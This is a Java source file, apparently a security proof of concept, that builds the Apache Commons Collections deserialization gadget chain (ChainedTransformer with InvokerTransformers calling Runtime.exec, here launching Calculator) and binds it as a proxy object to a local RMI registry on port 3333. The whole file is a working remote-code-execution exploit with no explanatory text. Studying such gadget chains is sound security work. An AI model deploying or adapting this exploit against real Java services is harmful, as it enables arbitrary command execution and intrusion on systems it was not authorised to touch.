package test;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Proxy;

import java.rmi.Remote;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

import java.util.HashMap;

import java.util.Map;

public class UserServerEval {

public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod",

new Class[] {String.class, Class[].class},

new Object[] {"getRuntime", new Class[0]}),

new InvokerTransformer("invoke",

new Class[] {Object.class, Object[].class},

new Object[] {null, new Object[0] }),

new InvokerTransformer("exec",

new Class[] {String.class},

new Object[] {"open -a Calculator"})

};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

innerMap.put("value", "Threezh1");

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);

cons.setAccessible(true);

InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);

Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, evalObject));

Registry registry = LocateRegistry.createRegistry(3333);

Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 3333);

registry_remote.bind("HelloRegistry", proxyEvalObject);

System.out.println("rmi start at 3333");

}

}